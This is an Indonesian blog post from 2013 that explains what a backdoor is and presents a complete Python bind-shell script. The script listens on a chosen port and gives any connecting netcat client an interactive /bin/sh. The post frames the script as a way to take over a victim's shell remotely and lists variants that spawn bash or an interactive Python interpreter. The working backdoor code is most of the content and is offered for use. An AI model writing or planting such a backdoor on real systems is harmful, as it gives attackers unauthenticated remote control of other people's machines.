PopCash


Rabu, 11 Desember 2013

Creating Python Backdoor Shell

Python backdoor yang saya sajikan ini termasuk OS backdoor yang berjalan di system Linux. Ini hanyalah script python untuk mengambil alih shell korban secara remote. Script ini bisa terus listen di port tertentu yang kita kehendaki. Penyerang hanya tinggal menjalankan nc alias netcat, lalu mengkoneksikannya sesuai listen port backdoor tadi.

Sebelumnya kita kenalan dulu apa itu backdoor. Backdoor alias pintu belakang adalah aplikasi atau script yang memungkinkan kita mengendalikan komputer dari jalan yang bukan biasanya. Biasanya kita kalau ingin memakai komputer kita harus berada di depan monitor, terus login sebagai user, dsb. Itu disebut dengan pintu depan. Nah kalau backdoor kita juga bisa mengendalikan komputer tapi lewat jalan yang berbeda dan diluar kebiasaan. Yah.. namanya juga pintu belakang.

import socket, subprocess, os
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:
 s.bind(('', int(sys.argv[1])))
except IndexError:
 print "Usage: %s <listen_port>" % sys.argv[0]
 sys.exit(1)
except socket.error as e:
 print e
 sys.exit(e.errno)

s.listen(1)

#Serve Forever :D
while True:
    c = s.accept()

    os.dup2(c[0].fileno(), 0)
    os.dup2(c[0].fileno(), 1)
    os.dup2(c[0].fileno(), 2)

    p = subprocess.call(['/bin/sh', '-i'])

    c[0].close()
Yang perlu diperhtikan adalah baris
p = subprocess.call(['/bin/sh', '-i'])
Shell mana yang kita ingin ambil alih. Pada contoh diatas kita akan mengambil alih shell sh-nya. Kalau kita ingin shell bash-nya, tinggal diganti aja /bin/sh menjadi /bin/bash. Kita bahkan bisa mengambil alih python interaktifnya!!
p = subprocess.call(['/usr/bin/python', '-i'])

Tidak ada komentar:

Posting Komentar